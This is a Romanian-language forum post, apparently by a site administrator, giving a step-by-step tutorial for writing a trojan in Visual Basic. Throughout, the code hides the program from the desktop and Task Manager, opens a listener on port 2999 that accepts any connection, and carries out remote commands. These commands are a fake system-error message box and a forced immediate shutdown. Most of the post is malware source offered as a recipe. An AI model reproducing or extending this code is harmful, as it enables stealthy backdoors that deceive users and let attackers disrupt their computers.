V1oL
Administrator
Data inscrierii: 07/Oct/2008
Mesaje: 92
|
|
Ok sa incepem
A scrie un trojan este mai simplu decat cred multi acesta implica un Client si un Server si cu mai putin de 100 de linii de cod se poate face acest lucru.
Mai jos va arat cateva exemple si voi incepe cu serverul si ascunderea lui.
Server:
Ca sa nu il facem vizibil ( ochiului ).
| Citat: |
Private Sub Form_Load()
Me.Visible = False
End Sub |
Asta ascunde programul de ochiul gratuit dar cu TaskManager este un pic mai greu.
Trebuie sa adaugam asta:
| Citat: |
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
End Sub |
Acum Serverul adica trojanul propriu zis va fii ascuns poate nu vii se pare mare lucru dar este perfect invizibil in procese.
Si ca sa facem treaba mai frumoasa acum incepem sa adaugam functiile trojanului.
Primul lucru pe care trebuie sa il facem este sa il facem capabil sa asculte conexiuni. Ca sa putem face acest fapt vom adauga un Winsock Control.
Noi il vom face sa asculte conexiuni pe port 2999 atunci cand trojanul porneste.
| Citat: |
Pentru asta codul nostru trebuie sa arate cam asa.
Private Sub Form_Load()
Me.Visible = False
App.TaskVisible = False
win.LocalPort = 2999
win.RemotePort = 455
win.Listen
End Sub |
Pana acum avem un program care asculta la acel port dar in rest nu face nimic.
Acum adaugam Main Form.
| Citat: |
Private Sub win_ConnectionRequest(ByVal requestID As Long)
win.Close
win.Accept requestID
End Sub
Private Sub win_DataArrival(ByVal bytesTotal As Long)
win.GetData GotDat
DoActions (GotDat)
End Sub |
Acum trebuie sa programam Actiunile Programului mai precis ceea ce face pe care le-am chemat in functiile din Main Form-ul de mai sus.In caz ca te intrebi codul adaugat in form face doua lucruri. Inițialul sub face ca toate cererile de conexiune sa fie acceptate. Al 2 lea sub face ca toate datele sa fie acceptate si dupa paseaza tota data spre functiile pe care le prezint mai jos.
Acum avem un Trojan care inchide calculatorul trimite date spre port 2999 la inchiderea Pcu-lui target.
Sa completam codul..
Main Form:
Pentru codul de Actiune, trebuie sa facem o functie publica in modul. (Public sa nu poata fii întrebuințat de cod in afara la modul) Adaugati acest cod la modul si Trojanul este aproape gata.
| Citat: |
Public Function DoActions(x As String)
Select Case x
Case "msgbox"
Msgbox "The file C:\windows\explorer1.exe has caused an error and will be terminated",vbCritical,"Critical Error"
Case "shutdown"
shell "shutdown -s -f -t 00"
End Select
End Function |
|
 |
